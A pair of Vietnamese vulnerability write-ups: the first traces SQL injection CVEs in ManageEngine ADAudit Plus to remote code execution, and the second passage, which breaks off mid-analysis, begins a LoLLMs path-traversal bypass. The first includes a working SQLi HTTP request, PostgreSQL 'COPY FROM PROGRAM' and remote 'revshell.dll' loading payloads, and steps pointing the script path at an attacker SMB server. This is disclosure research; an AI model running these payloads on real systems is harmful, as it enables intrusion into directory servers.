[{"content":"Chuyện lâu rồi giờ mới kể là dạo gần đây mình có dịp được nghiên cứu về các sản phẩm open-source và target lần này mình chọn đó là ManageEngine Adaudit Plus, một sản phẩm của Zoho.\nTrước đó product này cũng có nhiều CVE nghiêm trọng rồi nhưng may mắn thay là lần này sau một thời gian audit mã nguồn thì mình vẫn tìm được một số lỗ hổng nghiêm trọng khác đang còn tồn đọng trên ứng dụng này, nên mình viết bài này để chia sẻ một số thứ về chúng và cũng mong muốn rằng đây có thể là một phần tài liệu cho những ai sắp hoặc đang có ý định nghiên cứu về những products của ZOHO.\nManageEngine ADAudit Plus là một giải pháp giám sát và báo cáo hoạt động Active Directory toàn diện, cung cấp bởi ManageEngine. Đây là một công cụ quan trọng cho việc đảm bảo tuân thủ quy định, bảo mật dữ liệu và quản lý hiệu suất hệ thống ( theo Chat-GPT =]]] ).\n#Effected version Zoho ManageEngine Adaudit Plus 7.2.0 Build 7250\n#Remote debug Để thực hiện việc remote debug thì điều tiên ta cần extract hết các libs có trong thư mục cài đặt:\nfind . -type f -iname *.jar -exec cp {} adap_jars/ \\; Theo cá nhân mình để remote debug thì chỉ cần sửa lại file /bin/run.bat từ if \u0026quot;%1\u0026quot; == \u0026quot;debug\u0026quot; thành if \u0026quot;debug\u0026quot; == \u0026quot;debug\u0026quot; là được =))))\n#Route handling Trước khi phân tích sâu vào lỗ hổng thì mình sẽ nói sơ qua một chút về URL Mapping trên các ứng dụng ManageEngine.\nNhư bao các ứng dụng Java Web khác, các url pattern và các filters đều được định nghĩa ở các file .xml. Ví dụ như web.xml file, có thể cho ta biết được một endpoint sẽ được handle bởi một class tương ứng nào đó hoặc phải đi qua những filter chain nào, …\nVí dụ như file /webapps/adap/WEB-INF/web.xml định nghĩa như sau:\n… \u0026lt;servlet\u0026gt; \u0026lt;servlet-name\u0026gt;ADSMServerStatusServlet\u0026lt;/servlet-name\u0026gt; \u0026lt;servlet-class\u0026gt;com.adventnet.sym.adsm.servlet.ADSMServerStatusServlet\u0026lt;/servlet-class\u0026gt; \u0026lt;/servlet\u0026gt; … \u0026lt;servlet-mapping\u0026gt; \u0026lt;servlet-name\u0026gt;ADSMServerStatusServlet\u0026lt;/servlet-name\u0026gt; \u0026lt;url-pattern\u0026gt;/servlet/ADSMServerStatus\u0026lt;/url-pattern\u0026gt; \u0026lt;/servlet-mapping\u0026gt; … Điều này được hiểu đơn giản rằng /servlet/ADSMServerStatus endpoint được handle bởi class com.adventnet.sym.adsm.servlet.ADSMServerStatusServlet.\nNgoài ra, một điều không kém phần quan trọng nữa rằng ở file /webapps/adap/WEB-INF/security/security.xml cho ta biết được rằng request đến một api endpoint sẽ cần những tham số nào, gọi bằng http method nào, có cần csrf token hay không, …\n… \u0026lt;url path=\u0026#34;/api/json/fileanalysis/getFileAnalysisReportIds\u0026#34; dynamic-params=\u0026#34;false\u0026#34; csrf=\u0026#34;true\u0026#34; method=\u0026#34;post\u0026#34;/\u0026gt; \u0026lt;url path=\u0026#34;/api/json/fileanalysis/getFileServers\u0026#34; dynamic-params=\u0026#34;false\u0026#34; csrf=\u0026#34;true\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;param name=\u0026#34;JSONString\u0026#34; type=\u0026#34;JSONObject\u0026#34; max-len=\u0026#34;-1\u0026#34; template=\u0026#34;FileAnalysisServerJSON\u0026#34;/\u0026gt; \u0026lt;/url\u0026gt; … Ngoài ra, ở class RestAPIHandler có một thuộc tính khá hay ho đó là apiMapping, thuộc tính này bao gồm danh sách chi tiết các api endpoint có thể xử lý và bên trong đó thể hiện chi tiết cả class lẫn method để handle api endpoint đó.\nNgoài ra còn một số file khác nữa như conf/adap/rest-api.xml, conf/adap/restapi-client-conf.xml, conf/FileAnalysis/restapi.xml,… nhưng đối với mình thường cách tốt nhất để tìm một method nào đó có được call trực tiếp thông qua endpoint nào hay không bằng cách là extract hết tất cả các file .xml ra một folder, thực hiện search và trace trực tiếp.\n#CVE-2023-49335 Lỗ hổng xuất hiện ở chức năng getFileServers tại class com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler, ta thấy rằng ở conf/FileAnalysis/restapi.xml được định nghĩa như sau:\n... \u0026lt;ADAPRestApiMapping UNIQUE_ID=\u0026#34;ADAPRestApiMapping:UNIQUE_ID:763\u0026#34; TAB_NAME=\u0026#34;fileAnalysis\u0026#34; URL_PATH=\u0026#34;/fileanalysis/getFileServers\u0026#34; CLASS_NAME=\u0026#34;com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler\u0026#34; METHOD_NAME=\u0026#34;getFileServers\u0026#34; DESCRIPTION=\u0026#34;Get Configured File Servers\u0026#34; /\u0026gt; ... thì để call được getFileServers method thì restapi endpoint có url path là /fileanalysis/getFileServers. Thường các restapi sẽ có prefix là /api/json hoặc /api/xml\nsau đó sẽ được RestAPIHandler xoá phần prefix và phần còn lại của url sẽ được dò trong apiMapping đã nói như ở bên trên.\nTóm lại là request đến /api/json/fileanalysis/getFileServers để call chức năng com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler:getFileServers().\nVề phần hàm getFileServers():\npublic void getFileServers(HttpServletRequest request, HttpServletResponse response) throws Exception { JSONObject reqData = new JSONObject(request.getParameter(\u0026#34;JSONString\u0026#34;)); JSONObject serverInputParams = reqData.getJSONObject(\u0026#34;inputParams\u0026#34;); // ... HashMap\u0026lt;String, Object\u0026gt; returnListMap = getFileServers(serverInputParams, domainName, rb); // ... } Cơ bản chổ này chương trình sẽ lấy untrust data từ tham số JSONString dưới dạng json từ user và sau đó tiếp tục lấy từ JSONString một json object khác từ thuộc tính inputParams, dữ liệu này sẽ được đặt vào hàm static getFileServers() xử lý tiếp.\nprivate static HashMap\u0026lt;String, Object\u0026gt; getFileServers(JSONObject serverInputParams, String domainName, AdventNetResourceBundle rb) { HashMap\u0026lt;String, Object\u0026gt; returnListMap = new HashMap(); try { String uvhString = \u0026#34;AUDCVConfig:cv_id:200100\u0026#34;; serverInputParams.put(\u0026#34;serverType\u0026#34;, \u0026#34;fs\u0026#34;); ... long count = FileAnalysisServerHandler.getConfiguredServersCount(serverInputParams, domainName); // ... tiếp theo, đặt input tiếp tục vào hàm FileAnalysisServerHandler.getConfiguredServersCount()\npublic static long getConfiguredServersCount(JSONObject serverInputParams, String domainName) { long count = 0L; try { JSONObject searchData = serverInputParams.optJSONObject(\u0026#34;searchData\u0026#34;); String searchCriteria = null; if (searchData != null) { searchCriteria = \u0026#34;ADSMComputerGeneralDetails.NAME LIKE \u0026#39;%\u0026#34; + searchData.optString(\u0026#34;NAME\u0026#34;, \u0026#34;\u0026#34;) + \u0026#34;%\u0026#39;\u0026#34;; } count = (long)getCount(domainName, searchCriteria); // ... } Lỗ hổng SQL injection xuất hiện khá là cơ bản tại đây khi ta có thể hoàn toàn điều chỉnh được phần điều kiện thông qua biến searchCriteria bằng việc cộng chuỗi với giá trị từ trường NAME được lấy từ serverInputParams. Và biến searchCriteria sẽ được đặt tiếp vào hàm static getCount()\nprivate static int getCount(String domainName, String searchCriteria) { int rowsCount = 0; try { long cvId = DBObjectUtil.getUVHValues(\u0026#34;AUDCVConfig\u0026#34;, \u0026#34;AUDCVConfig:cv_id:200201\u0026#34;); HashMap\u0026lt;String, String\u0026gt; hashMap = new HashMap(); hashMap.put(\u0026#34;DOMAIN_NAME\u0026#34;, domainName); String queryStr = ADAPSQLQueryAPI.getInstance().getSQLCountString(cvId, searchCriteria, hashMap); rowsCount = QueryUtil.getRowsCount(queryStr); // ... } Hàm ADAPSQLQueryAPI.getInstance().getSQLCountString() có nhiệm vụ là construct một sql query từ các params đầu vào để tạo thành một câu truy vấn hoàn chỉnh, sau đó đặt vào hàm QueryUtil.getRowsCount() để thực thi.\nCall stack:\ncom.adventnet.sym.adsm.common.server.sql.QueryUtil::getRowsCount() com.adventnet.sym.adsm.auditing.server.fileanalysis.FileAnalysisServerHandler::getCount() com.adventnet.sym.adsm.auditing.server.fileanalysis.FileAnalysisServerHandler::getConfiguredServersCount() com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler::getFileServers() [private static] com.adventnet.sym.adsm.auditing.webclient.ember.api.fileanalysis.FileAnalysisHandler::getFileServers() [plubic void] ... #CVE-2024-21791 Trên là một lỗ hổng SQL injection tương đối dễ thấy và cơ bản khi review source code, còn về CVE-2024-21791 thì cách tiếp cận của mình khi tìm ra bug này thì về cơ bản vẫn như bug trước, nghĩa là vẫn theo dõi flow-code, tìm ra các sink rồi trace ngược về tìm source. Nhưng đáng chú ý là ở phần này mình đã bỏ qua nhiều lần khi review source-code vì cứ ngỡ rằng không thể bypass, cũng may mắn là mình đã quyết định đi sâu vào phân tích thì nhận ra có một lỗ hổng trong hàm filter input, hàm này được thiết kế để phòng tránh sql injection.\nRoot cause của lỗ hổng này là sự nhầm lẫn trong quá trình biến đổi input lồng nhau giữa hai hàm CommonUtil.getSearchString() và hàm ReportHandlerUtil.getSearchString(). Cụ thể như sau:\nHàm CommonUtil.getSearchString():\n// class CommonUtil public static String getSearchString(String value, Boolean escape) throws Exception { if (escape) { value = EscapeUtil.escSplCharsAsSQLForLike(value); } int len = value.length(); if (len != 1 \u0026amp;\u0026amp; (value.charAt(0) != \u0026#39;\\\\\u0026#39; || len != 2)) { if (value.charAt(0) == \u0026#39;*\u0026#39; \u0026amp;\u0026amp; value.charAt(len - 1) == \u0026#39;*\u0026#39;) { value = value.substring(1, len - 1); value = \u0026#34;%\u0026#34; + value + \u0026#34;%\u0026#34;; } else if (value.charAt(len - 1) == \u0026#39;*\u0026#39;) { value = value.substring(0, len - 1); value = value + \u0026#34;%\u0026#34;; } else if (value.charAt(len - 1) == \u0026#39;%\u0026#39;) { value = value.substring(0, len - 1); value = value + \u0026#34;%\u0026#34;; } else if (value.charAt(0) == \u0026#39;*\u0026#39;) { value = value.substring(1, len); value = \u0026#34;%\u0026#34; + value; } else { value = \u0026#34;%\u0026#34; + value + \u0026#34;%\u0026#34;; } } else { value = \u0026#34;%\u0026#34; + value + \u0026#34;%\u0026#34;; } return value; } chủ yếu thực hiện vô hiệu hóa các ký tự đặc biệt (special chars) của input nếu escape=True bằng hàm EscapeUtil.escSplCharsAsSQLForLike() và đồng thời format lại input dưới dạng %…%, bởi vì đây là dữ liệu dùng để tìm kiếm ở where clause nên thường đặt bên trong cặp dấu %%\nVà hàm ReportHandlerUtil.getSearchString():\n// class ReportHandlerUtil public String getSearchString(String columnName, String val, String dataType) { if (dataType == null) { return columnName + \u0026#34; LIKE \u0026#39;\u0026#34; + val + \u0026#34;\u0026#39;\u0026#34;; } else if (dataType.toLowerCase().indexOf(\u0026#34;char\u0026#34;) != -1) { return columnName + \u0026#34; LIKE \u0026#39;\u0026#34; + val + \u0026#34;\u0026#39;\u0026#34;; } else { val = val.replaceAll(\u0026#34;%\u0026#34;, \u0026#34;\u0026#34;); return columnName + \u0026#34; = \u0026#34; + val; } } thực hiện hoàn chỉnh LIKE clause, ở đây ta chú ý rằng nếu kiểu dữ liệu của columnName là một trong hai dạng là null hoặc dạng bất kỳ của kiểu char thì value sẽ được đặt vào trong cặp dấu nháy đơn (‘), còn lại thì không.\nContext cơ bản là như sau:\nString search_value = input[0]; String column_name = input[1]; String searchCriteria = \u0026#34;\u0026#34;; String column_data_type = getColumnDataType(column_name); searchCriteria = ReportHandlerUtil.getSearchString(column_name, CommonUtil.getSearchString(search_value, true), column_data_type); String query = \u0026#34;SELECT * FROM users WHERE \u0026#34; + searchCriteria Về cơ bản input đã bị escape thông qua hàm EscapeUtil.escSplCharsAsSQLForLike() bên trong hàm CommonUtil.getSearchString() vì thế nên một số ký tự như dấu nháy đơn (‘), dấu nháy kép (“), dấu backslash (), … đều không sử dụng được.\nCho nên vấn đề ở đây là, nếu ta tìm được một columnName có kiểu dữ liệu khác null và char (chẳng hạn như int) thì value sẽ không bị nhốt trong cặp dấu nháy đơn (‘) và dẫn đến có thể bypass sql injection.\nExample:\nString search_value = \u0026#34;*1337 and sleep(3)*\u0026#34;; String searchCriteria = \u0026#34;\u0026#34;; searchCriteria = CommonUtil.getSearchString(search_value, true) // Output =\u0026gt; %1337 and sleep(3)% String column_name = \u0026#34;id\u0026#34;; String column_data_type = getColumnDataType(column_name); // Output =\u0026gt; column_data_type = \u0026#34;INT\u0026#34; searchCriteria = ReportHandlerUtil.getSearchString(column_name, searchCriteria, column_data_type); // Output =\u0026gt; searchCriteria = \u0026#34;id = 1337 and sleep(3)\u0026#34; String query = \u0026#34;SELECT * FROM users WHERE \u0026#34; + searchCriteria // Output =\u0026gt; query = \u0026#34;SELECT * FROM users WHERE id = 1337 and sleep(3)\u0026#34; Lỗ hổng này có thể được trigger thông qua /api/json/report/getLockoutHistoryData endpoint, lúc này sẽ gọi hàm getLockoutHistoryData() của class com.adventnet.sym.adsm.auditing.webclient.ember.api.report.SubReportHandler như sau:\npublic void getLockoutHistoryData(HttpServletRequest request, HttpServletResponse response) throws Exception { try { // ... JSONObject reportReqData = new JSONObject(request.getParameter(\u0026#34;JSONString\u0026#34;)); JSONObject reportInputParams = reportReqData.getJSONObject(\u0026#34;inputParams\u0026#34;); // ... Long reportId = reportReqData.getLong(\u0026#34;reportId\u0026#34;); // ... String tabType = reportInputParams.getString(\u0026#34;tabType\u0026#34;); // ... if (tabType.equalsIgnoreCase(\u0026#34;ws\u0026#34;)) { // ... } else if (tabType.equalsIgnoreCase(\u0026#34;dc\u0026#34;)) { // ... columnList = ReportUtil.getInstance().getVisibleColumnList(reportcvId, true, true, false, (String)null, (String)null, rb); (1) String searchCriteria = ReportHandler.getInstance().getSearchCriteria(reportInputParams, columnList, true); (2) // ... } Nôm na là hàm này nhận inputParams từ JSON object được parse từ JSONString bên trong request body, có hai tham số cần lưu ý là reportId và tabType, để trigger được lỗi mình sẽ đi vào nhánh tabType=”dc”.\nTại (1), biến columnList sẽ lưu giữ danh sách các tên cột dựa vào tham số reportcvId mà ta truyền vào. Và (2), biến searchCriteria sẽ chứa câu điều kiện mà sau này sẽ được nối trực tiếp vào câu truy vấn (nguyên nhân dẫn đến SQL injection) để thực hiện lọc kết quả và hàm ReportHandler.getInstance().getSearchCriteria() nhận vào hai tham số ta có thể control được là columnList và reportInputParams. Hàm ReportHandler.getSearchCriteria() cơ bản như sau:\npublic String getSearchCriteria(JSONObject reportReqData, ArrayList\u0026lt;HashMap\u0026lt;String, Object\u0026gt;\u0026gt; tableAllColumnList, Boolean needSearchCriteria) throws Exception { // ... if (reportReqData.has(\u0026#34;searchData\u0026#34;)) { searchData = reportReqData.getJSONObject(\u0026#34;searchData\u0026#34;); (3) Iterator var6 = tableAllColumnList.iterator(); while(var6.hasNext()) { (4) HashMap\u0026lt;String, Object\u0026gt; tableconfig = (HashMap)var6.next(); columnName = tableconfig.get(\u0026#34;columnalias\u0026#34;).toString(); // ... if (searchData.has(columnName)) { String columnSearchValue = searchData.get(columnName).toString(); (5) tableconfig.put(\u0026#34;searchValue\u0026#34;, searchData.get(columnName).toString()); searchValue = null; if (tableName != null) { TableDefinition tableDefinition = MetaDataUtil.getTableDefinitionByName(tableName); if (tableDefinition != null) { ColumnDefinition columnDefinition = tableDefinition.getColumnDefinitionByName(columnName); searchValue = columnDefinition != null ? columnDefinition.getDataType() : null; (6) } } if (columnSearchValue != null \u0026amp;\u0026amp; !columnSearchValue.equalsIgnoreCase(\u0026#34;\u0026#34;)) { if (needSearchCriteria) { columnSearchValue = CommonUtil.getSearchString(columnSearchValue, true); (7) if (searchCriteria == null) { searchCriteria = new String(); } else { searchCriteria = searchCriteria + \u0026#34; AND \u0026#34;; } searchCriteria = searchCriteria + ReportHandlerUtil.getInstance().getSearchString(columnName, columnSearchValue, searchValue); (8) } else { // ... } // ... return searchCriteria; } Tại:\n(3), lấy json object searchData từ reportReqData là inputParams ban đầu (4), thực hiện loop danh sách các columns để construct các câu điều kiện sau WHERE với column value tương ứng (5), lấy columnValue hay nói cách khác là giá trị của column mà ta muốn tìm kiếm (ví dụ: id = 1) nếu như tồn tại tên column từ trong inputParams (6), biến searchValue sẽ chứa kiểu dữ liệu của column từ columnName (7), biến columnSearchValue sẽ chứa giá trị sau khi thực hiện filter cơ bản và format columnValue dạng LIKE clause (%…%) qua hàm CommonUtil.getSearchString() (8), nối chuỗi trực tiếp các điều kiện và chuỗi điều kiện trả về từ hàm ReportHandlerUtil.getInstance().getSearchString() với các tham số truyền vào là columnName, columnSearchValue và searchValue Như vấn đề đã được nêu từ đầu bài, chỉ cần tìm được một columnName có dataType không phải kiểu dữ liệu chuỗi là có thể bypass, sau một lúc lục tìm trên database thì mình tìm được column có tên là TIME_GENERATED có dataType là BIGINT thoã mãn được điều kiện này, trace ngược lại một lúc thì tìm được reportcvId=133.\nĐến đây thì mọi thứ đã đâu vào đấy, proof of concept:\nPOST /api/json/report/getLockoutHistoryData HTTP/1.1 Host: adap:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0RnUk641RyfmYic Content-Length: 865 Cookie: JSESSIONIDADAP=\u0026lt;session\u0026gt;; adapcsrf=\u0026lt;csrf-token\u0026gt;; JSESSIONIDADAPSSO=\u0026lt;session\u0026gt; ------WebKitFormBoundaryE0RnUk641RyfmYic Content-Disposition: form-data; name=\u0026#34;JSONString\u0026#34; {\u0026#34;domainName\u0026#34;:\u0026#34;nhienit.vn\u0026#34;, \u0026#34;machineDomainName\u0026#34;:\u0026#34;ahihi\u0026#34;, \u0026#34;reportId\u0026#34;:133, \u0026#34;cvId\u0026#34;:133, \u0026#34;inputParams\u0026#34;: {\u0026#34;workstation\u0026#34;:\u0026#34;xxx\u0026#34;,\u0026#34;searchData\u0026#34;: {\u0026#34;TIME_GENERATED\u0026#34;:\u0026#34;*1337)) as AcctLckoutChangeCount; SELECT 1337-- -*\u0026#34;},\u0026#34;timeGenerated\u0026#34;:1234,\u0026#34;accountName\u0026#34;:\u0026#34;fooooo\u0026#34;,\u0026#34;columnAlias\u0026#34;:\u0026#34;fooooo\u0026#34;, \u0026#34;machineTypeStr\u0026#34;:\u0026#34;fooooo\u0026#34;, \u0026#34;domainFlatName\u0026#34;:\u0026#34;fooooo\u0026#34;,\u0026#34;errorMessage\u0026#34;:\u0026#34;fooooo\u0026#34;, \u0026#34;isConfigured\u0026#34;:true, \u0026#34;tabType\u0026#34;:\u0026#34;dc\u0026#34;}} ------WebKitFormBoundaryE0RnUk641RyfmYic Content-Disposition: form-data; name=\u0026#34;adapcsrf\u0026#34; \u0026lt;csrf-token\u0026gt; ------WebKitFormBoundaryE0RnUk641RyfmYic-- #RCE with PostgreSQL ???? Sau khi trigger thành công SQL injection, mình nhận thấy rằng ứng dụng cho phép thực hiện stack query, điều này khiến mình nghĩ đến việc tìm cách RCE ứng dụng này. Hệ thống quản trị cơ sở dữ liệu mặc định trên ứng dụng là PostgreSQL, nên đành vội test thử một số cách trên sách giáo khoa như:\nSử dụng COPY để RCE thông qua pg_execute_server_program group\n{\u0026#34;domainName\u0026#34;:\u0026#34;foooo\u0026#34;, \u0026#34;inputParams\u0026#34;:{\u0026#34;searchData\u0026#34;:{\u0026#34;NAME\u0026#34;:\u0026#34;injectxxxxxx\u0026#39;); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM \u0026#39;calc.exe\u0026#39;;-- -\u0026#34;}}} kết quả thu được: về cơ bản thì chỉ có super user mới có thể thực hiện được những chức năng đặc biệt này, sau đó mình đã thử thực hiện cách khác là load external dll:\n{\u0026#34;domainName\u0026#34;:\u0026#34;foooo\u0026#34;, \u0026#34;inputParams\u0026#34;:{\u0026#34;searchData\u0026#34;:{\u0026#34;NAME\u0026#34;:\u0026#34;injectxxxxxx\u0026#39;); CREATE OR REPLACE FUNCTION remote_test(text, integer) RETURNS void AS $$\\\\\\\\192.168.17.1\\\\share\\\\revshell.dll$$, $$connect_back$$ LANGUAGE C STRICT; SELECT remote_test($$calc.exe$$, 3);-- -\u0026#34;}}} kết quả cũng không mấy khả quan do không có quyền thực thi ( Permission denied T_T ) mình cũng nghĩ đến trường hợp tạo một tài khoản có quyền cao hơn như administrator, nhưng nhận ra là bên trong ứng dụng không có chức năng nào có thể thực thi trực tiếp OS command cả (hoặc do mình tìm không thấy =]] )\n~~ Betak time ~~\n#Find the puzzle pieces to achieve RCE Trên ứng dụng này có một chức năng khá đặc biệt là Alert Profiles\nhiểu nôm na là khi ứng dụng được cài đặt lên một máy AD hay Windows Server nào đó, nó sẽ lắng nghe một số event trên máy đó ví dụ một số event như shutdown, lock screen, restart server, etc… thì chức năng này sẽ cho phép chạy một file script tương ứng khi một event được trigger.\nMặc định thì chỉ cho phép load scripts từ local, khi thực hiện tạo một ALertProfiles bất kỳ thì thông báo lỗi sẽ xuất hiện như bên dưới:\nĐến lúc này trong đầu mình xuất hiện một số idea như sau và thực hiện kiểm chứng từng idea một, cụ thể như sau:\n#Idea 1: Tìm lỗ hổng file upload tuỳ ý ?? Idea này không khả thi khi chỉ có một số chức năng như upload image (hoặc avatar) check các image byte header và upload file excel để import dữ liệu.\n#Idea 2: Tìm lỗ hổng command injection trong chức năng run alert script ?? Sau khi script location được chỉ định, tuỳ theo extension của file mà sẽ chạy command phù hợp, ví dụ như file .ps1 sẽ dùng powershell.exe hoặc .vbs sẽ dùng wscript.\nCommand sau khi được parse thành những token sẽ đưa vào hàm CommonUtil.createProcess() để thực thi.\nHàm CommonUtil.createProcess() sẽ thực hiện gọi ProcessBuilder() để run os command. Đến đây có thể thấy os command injection không khả thi bởi vì command và các argument được phân tách rõ ràng nên không thể inject được.\n#Idea 3: Change defaultScriptPath Để hiểu rõ thì ta cần quan sát lại quá trình khi thực hiện tạo một AlertProfiles, cụ thể là hàm saveAlertProfile sẽ được call và input từ body request sẽ được parse và gán vào biến data.\nTại biến data sẽ lấy scriptLocation mà ta cung cấp làm tham số đầu vào cho hàm AlertScriptHandler.validateScriptCommand()\nHàm AlertScriptHandler.validateScriptCommand() cơ bản như sau:\nnôm na là scriptLocation mà ta truyền vào sẽ được kiểm tra kỹ càng tránh path traversal, kiểm tra các đuôi extension hợp lệ,… trong đó, biến defaultScriptPath lưu trữ script path mặc định trên ứng dụng và được nối trực tiếp vào scriptLocation của chúng ta để tạo thành đường dẫn hoàn chỉnh sau đó lưu vào biến pathCheck.\nĐể lưu thành công thì đường dẫn pathCheck phải tồn tại, nghĩa là file script phải tồn tại trên server.\ntheo document về class File trên java (https://docs.oracle.com/javase/8/docs/api/java/io/File.html), class File hỗ trợ resolve cả SMB server nếu input bắt đầu bằng prefix \\\\ -\u0026gt; nghĩa là ta hoàn toàn có thể load script thông qua SMB server chẳng hạn như: \\\\192.168.17.1\\exploit\\exploit.ps1\nquay ngược lại bài toán là làm sao có thể control được defaultScriptPath trên ứng dụng, đến đây ta trace ngược về nơi biến defaultScriptPath được khởi tạo.\nTừ đầu ta có thể thấy rằng, giá trị của defaultScriptPath ban đầu được lấy từ ADSMPersUtil.getSyMParameter(“DEFAULT_SCRIPT_PATH”), nếu không tồn tại sẽ lấy tạm đường dẫn của hệ thống qua System.getProperty(“server.dir”).\nTiếp tục ta đi sâu vào ADSMPersUtil.getSyMParameter(“DEFAULT_SCRIPT_PATH”) thì ta thấy rằng giá trị DEFAULT_SCRIPT_PATH được lấy từ database ở table SystemParams và cột PARAM_NAME\nkiểm tra trên database thì hoàn toàn rỗng :)))\n~~~ Make sqli great again ~~~\nđến đây mọi việc xem thử là ổn, chỉ cần insert vào địa chỉ SMB Server để load malicous script là mọi thứ hoàn hảo.\nNhưng còn một vấn đề nhỏ ở đây là ta không thể tuỳ ý thực thi ps1 tuỳ ý, vì mặc định policy trên Windows đã chặn.\nTuy nhiên, vẫn có một số cách bypass nhưng đa phần phải bổ sung thêm argument nữa hoặc một số cách thủ công để disable policy nhưng hoàn toàn vượt ngoài attack vector network.\nMay mắn thay, ứng dụng còn hỗ trợ thực thi .vbs và điều này vượt qua sự hạn chế đã nêu từ bên trên.\n#Step to reproduces Khai thác SQL injection -\u0026gt; Inject DEFAULT_SCRIPT_PATH parameter với value là địa chỉ Attacker SMB Server. Khởi động lại ME Adaudit Plus để reload new config. Tạo một Alert Profile để thực thi VBS script trên máy attacker SMB server khi bất kỳ sự kiện nào được trigger (như đăng nhập, đăng xuất, etc.) Thực hiện đăng nhập hoặc đăng xuất để trigger VBS Script. #PoC ","permalink":"https://nhienit2010.github.io/posts/me_sqli_to_rce/","summary":"Analysis about Manage Engine ADAudit Plus CVE","title":"ManageEngine Adaudit Plus – From SQLi to RCE"},{"content":"Chuyện là dạo gần đây, mình có contribute một bài blog phân tích về một lỗ hổng trên nền tảng huntr, với cộng thêm là gần đây cũng chưa viết bài nào mới nên bài hôm nay mình sẽ viết lại bài phân tích bằng Tiếng Việt để có cái để post (T_T).\n(Bài viết gốc: https://blog.huntr.com/critical-path-traversal-flaw-leads-to-remote-code-execution-in-parisneo/lollms)\n#Product Overview Lord of Large Language Models (LoLLMs) Server là máy chủ tạo văn bản dựa trên các mô hình ngôn ngữ lớn (large language models). Nó cung cấp API dựa trên Flask để tạo văn bản bằng nhiều mô hình ngôn ngữ được đào tạo trước. Máy chủ này được thiết kế để dễ cài đặt và sử dụng, cho phép các nhà phát triển tích hợp các khả năng tạo văn bản mạnh mẽ vào ứng dụng của họ.\n(Bạn có thể tham khảo thêm tại đây: https://github.com/ParisNeo/lollms-webui)\n#Vulnerability Summary Cụ thể là do bản vá bảo mật cho các lỗ hổng trước đó chưa khắc phục triệt để nên cho phép kẻ tấn công có thể dễ dàng bypass bằng ký tự rỗng để khai thác path traversal nhằm thay đổi giá trị của extension_path thành thư mục bất kỳ nằm trong cấu hình lollmsElfServer và thực hiện trigger hàm ExtensionBuilder().build_extension() để load mã độc hại được tải lên bởi attacker.\n#Background Kể từ trước thời điểm khi mình tìm thấy lỗ hổng này, thì có thể thấy rằng có rất nhiều lỗ hổng Path Traversal (bao gồm cả của mình) đã được report rất nhiều (cứ vá rồi lại bypass :3) và được liệt kê trên Hacktivity ở huntr.\nVì thế nên các cơ chế phòng chống cho loại lỗ hổng này cũng ngày một được nâng cao và thường xuyên được update Trong đó, file lollms/security.py sẽ chứa các function để thực hiện kiểm tra và detect những malicous input được nhận vào từ người dùng\n# lollms_core\\lollms\\server\\endpoints\\lollms_personalities_infos.py # ... more code def sanitize_path(path:str, allow_absolute_path:bool=False, error_text=\u0026#34;Absolute database path detected\u0026#34;, exception_text=\u0026#34;Detected an attempt of path traversal. Are you kidding me?\u0026#34;): # Prevent path traversal # ... def sanitize_path_from_endpoint(path: str, error_text=\u0026#34;A suspected LFI attack detected. The path sent to the server has suspicious elements in it!\u0026#34;, exception_text=\u0026#34;Invalid path!\u0026#34;): # Prevent path traversal too # ... def check_access(lollmsElfServer, client_id): # check access # ... def forbid_remote_access(lollmsElfServer, exception_text = \u0026#34;This functionality is forbidden if the server is exposed\u0026#34;): # ... và chức năng ngăn chặn này được triển khai ở hầu hết các endpoint nằm bên trong ứng dụng để kiểm soát các input đầu vào\n# lollms_core\\lollms\\server\\endpoints\\lollms_personalities_infos.py # ... more code @router.post(\u0026#34;/reinstall_personality\u0026#34;) async def reinstall_personality(personality_in: PersonalityIn): check_access(lollmsElfServer, personality_in.client_id) try: sanitize_path(personality_in.name) if not personality_in.name: # ... @router.post(\u0026#34;/get_personality_config\u0026#34;) def get_personality_config(data:PersonalityDataRequest): print(\u0026#34;- Recovering personality config\u0026#34;) category = sanitize_path(data.category) name = sanitize_path(data.name) # ... ta thấy rằng tất cả các trick được sử dụng để khai thác từ các bản báo cáo trước đó đều đã được vá, vì thế nên mình quyết định đào sâu vào cơ chế hoạt động này và hy vọng sẽ tìm được cách bypass :\u0026lt;.\n#Analyzing the Vulnerability in Detail #Bypass the filter Trước khi tiếp cận sâu và tìm ra được lỗ hổng được đề cập ở tiêu đề thì mình đã nhìn vào chức năng ở endpoint /get_personality_config này đầu tiên vì nhận thấy được sự bất thường ở cách xử lý của nó\n# lollms_core\\lollms\\server\\endpoints\\lollms_personalities_infos.py # ... more code @router.post(\u0026#34;/get_personality_config\u0026#34;) def get_personality_config(data:PersonalityDataRequest): print(\u0026#34;- Recovering personality config\u0026#34;) category = sanitize_path(data.category) # [1] name = sanitize_path(data.name) # [2] package_path = f\u0026#34;{category}/{name}\u0026#34; # [3] if category==\u0026#34;custom_personalities\u0026#34;: # ... else: package_full_path = lollmsElfServer.lollms_paths.personalities_zoo_path/package_path # [4] config_file = package_full_path / \u0026#34;config.yaml\u0026#34; if config_file.exists(): with open(config_file,\u0026#34;r\u0026#34;) as f: config = yaml.safe_load(f) return {\u0026#34;status\u0026#34;:True, \u0026#34;config\u0026#34;:config} # ... Tại [1][2], các giá trị data.category và data.name là các giá trị mà người dùng có thể hoàn toàn kiểm soát được, đồng thời các giá trị này nều được đi qua bộ lọc là hàm sanitize_path():\ndef sanitize_path(path:str, allow_absolute_path:bool=False, error_text=\u0026#34;Absolute database path detected\u0026#34;, exception_text=\u0026#34;Detected an attempt of path traversal. Are you kidding me?\u0026#34;): if path is None: return path # Regular expression to detect patterns like \u0026#34;....\u0026#34; and multiple forward slashes suspicious_patterns = re.compile(r\u0026#39;(\\.\\.+)|(/+/)\u0026#39;) if suspicious_patterns.search(str(path)) or ((not allow_absolute_path) and Path(path).is_absolute()): ASCIIColors.error(error_text) raise HTTPException(status_code=400, detail=exception_text) if not allow_absolute_path: path = path.lstrip(\u0026#39;/\u0026#39;) return path như ta thấy rõ 